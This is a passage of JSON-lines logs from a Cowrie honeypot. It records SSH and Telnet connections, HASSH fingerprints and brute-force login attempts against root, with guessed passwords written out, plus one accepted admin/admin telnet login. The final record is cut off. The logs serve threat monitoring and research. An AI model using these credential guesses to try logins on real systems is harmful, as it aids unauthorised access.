{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:03.216188Z","src_ip":"103.98.149.87","session":"0f1d60f5d3dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michael","message":"login attempt [root/michael] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:04.077291Z","src_ip":"103.98.149.87","session":"0f1d60f5d3dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:05.312716Z","src_ip":"103.98.149.87","session":"0f1d60f5d3dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":55186,"dst_ip":"159.203.135.109","dst_port":22,"session":"7604a70ab917","protocol":"ssh","message":"New connection: 103.82.132.16:55186 (159.203.135.109:22) [session: 7604a70ab917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:29.721388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:29.725787Z","src_ip":"103.82.132.16","session":"7604a70ab917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:29.989401Z","src_ip":"103.82.132.16","session":"7604a70ab917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kikeunyw","message":"login attempt [root/kikeunyw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:30.781023Z","src_ip":"103.82.132.16","session":"7604a70ab917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:32.053015Z","src_ip":"103.82.132.16","session":"7604a70ab917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.13806486129761,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:42.324610Z","src_ip":"152.42.224.71","session":"a2b466710b24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.153","src_port":57512,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4724bde20d4","protocol":"ssh","message":"New connection: 205.210.31.153:57512 (159.203.135.109:22) [session: a4724bde20d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:48.671791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:49.761696Z","src_ip":"205.210.31.153","session":"a4724bde20d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:50.860236Z","src_ip":"107.175.212.220","session":"bb6ed53c28cf","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:50.906621Z","src_ip":"107.175.212.220","session":"bb6ed53c28cf","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:50.912107Z","src_ip":"205.210.31.153","session":"a4724bde20d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:57.761943Z","src_ip":"205.210.31.153","session":"a4724bde20d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":41512,"dst_ip":"159.203.135.109","dst_port":22,"session":"54fcf8906bf2","protocol":"ssh","message":"New connection: 103.27.238.116:41512 (159.203.135.109:22) [session: 54fcf8906bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:57.780037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:57.785128Z","src_ip":"103.27.238.116","session":"54fcf8906bf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:58.059256Z","src_ip":"103.27.238.116","session":"54fcf8906bf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"delete","message":"login attempt [root/delete] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:58.881247Z","src_ip":"103.27.238.116","session":"54fcf8906bf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:58:00.157261Z","src_ip":"103.27.238.116","session":"54fcf8906bf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":34878,"dst_ip":"10.17.0.5","dst_port":22,"session":"52c7db1173c7","protocol":"ssh","message":"New connection: 94.159.98.239:34878 (10.17.0.5:22) [session: 52c7db1173c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:58:08.259508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:58:08.531845Z","src_ip":"94.159.98.239","session":"52c7db1173c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:58:08.536473Z","src_ip":"94.159.98.239","session":"52c7db1173c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:58:09.909966Z","src_ip":"94.159.98.239","session":"52c7db1173c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:58:11.516798Z","src_ip":"94.159.98.239","session":"52c7db1173c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":53308,"dst_ip":"10.17.0.5","dst_port":22,"session":"770e9cebf681","protocol":"ssh","message":"New connection: 77.94.47.83:53308 (10.17.0.5:22) [session: 770e9cebf681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:58:26.374249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:58:26.378613Z","src_ip":"77.94.47.83","session":"770e9cebf681","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:58:26.504805Z","src_ip":"77.94.47.83","session":"770e9cebf681","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"235689","message":"login attempt [root/235689] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:58:26.875173Z","src_ip":"77.94.47.83","session":"770e9cebf681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:58:28.000728Z","src_ip":"77.94.47.83","session":"770e9cebf681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34300,"dst_ip":"10.17.0.5","dst_port":23,"session":"584d900e6536","protocol":"telnet","message":"New connection: 152.42.224.71:34300 (10.17.0.5:23) [session: 584d900e6536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:58:49.157045Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34316,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d5198dca3ab","protocol":"telnet","message":"New connection: 152.42.224.71:34316 (10.17.0.5:23) [session: 0d5198dca3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:58:50.184394Z"}
{"eventid":"cowrie.session.closed","duration":28.935078382492065,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:59:18.092028Z","src_ip":"152.42.224.71","session":"584d900e6536","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.90901732444763,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:59:46.093210Z","src_ip":"152.42.224.71","session":"0d5198dca3ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60274,"dst_ip":"10.17.0.5","dst_port":23,"session":"da98ee69efc8","protocol":"telnet","message":"New connection: 152.42.224.71:60274 (10.17.0.5:23) [session: da98ee69efc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:00:14.954966Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":57514,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6290252ad8e","protocol":"ssh","message":"New connection: 147.45.199.80:57514 (10.17.0.5:22) [session: c6290252ad8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:01:52.033345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:01:52.038416Z","src_ip":"147.45.199.80","session":"c6290252ad8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:01:52.137996Z","src_ip":"147.45.199.80","session":"c6290252ad8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ktutylf","message":"login attempt [root/ktutylf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:01:52.436119Z","src_ip":"147.45.199.80","session":"c6290252ad8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:01:53.538955Z","src_ip":"147.45.199.80","session":"c6290252ad8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35952,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa0787b48654","protocol":"ssh","message":"New connection: 103.195.236.96:35952 (159.203.135.109:22) [session: aa0787b48654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:01:54.442764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:01:54.448076Z","src_ip":"103.195.236.96","session":"aa0787b48654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""]